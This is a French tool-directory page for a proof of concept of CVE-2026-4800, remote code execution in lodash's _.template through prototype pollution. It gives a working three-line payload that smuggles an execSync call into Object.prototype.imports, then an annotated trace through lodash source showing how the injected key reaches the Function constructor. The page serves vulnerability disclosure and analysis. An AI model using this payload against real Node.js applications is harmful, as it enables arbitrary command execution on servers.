Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4800-POC — Preuve de concept démontrant l'exécution de code à distance dans le modèle lodash via la pollution de prototype, avec une analyse détaillée du flux d'attaque et de la technique d'exploitation. | Kitploit
Outils/GitHubGitHub/threalwinky/cve-2026-4800-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebDéveloppement de Charges Utiles
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

Preuve de concept démontrant l'exécution de code à distance dans le modèle lodash via la pollution de prototype, avec une analyse détaillée du flux d'attaque et de la technique d'exploitation.

Voir le dépôt
2il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-4800-POC

Avis de sécurité

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

Flux

  • Utilisation d'une vulnérabilité de pollution de prototype préalable pour polluer Object.prototype.imports avec une propriété contrôlée par l'attaquant

  • Ensuite, il appelle _.template('', {}) avec une valeur d'options normale de type objet simple

  • À l'intérieur de _.template(), lodash copie options avec à

assignInWith({}, options, settings, ...)
lodash.js:14877
root@kitploit:~
function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...
  • assignInWith utilise keysIn(source) à lodash.js:12778
root@kitploit:~
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

  • keysIn() inclut les propriétés énumérables héritées à lodash.js:13440
root@kitploit:~
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

  • Comme l'objet options est un {} normal, il hérite de la propriété imports polluée depuis Object.prototype, et lodash copie cette valeur héritée dans options.imports local

  • Lodash construit ensuite imports avec assignInWith({}, options.imports, settings.imports, ...) à lodash.js:14889, extrait importsKeys à lodash.js:14889, et les transmet à Function(importsKeys, ...) à lodash.js:14957

root@kitploit:~
...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...
  • Ma clé polluée est traitée comme un paramètre formel avec une expression par défaut :

    root@kitploit:~
    x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
    
Télécharger l’outil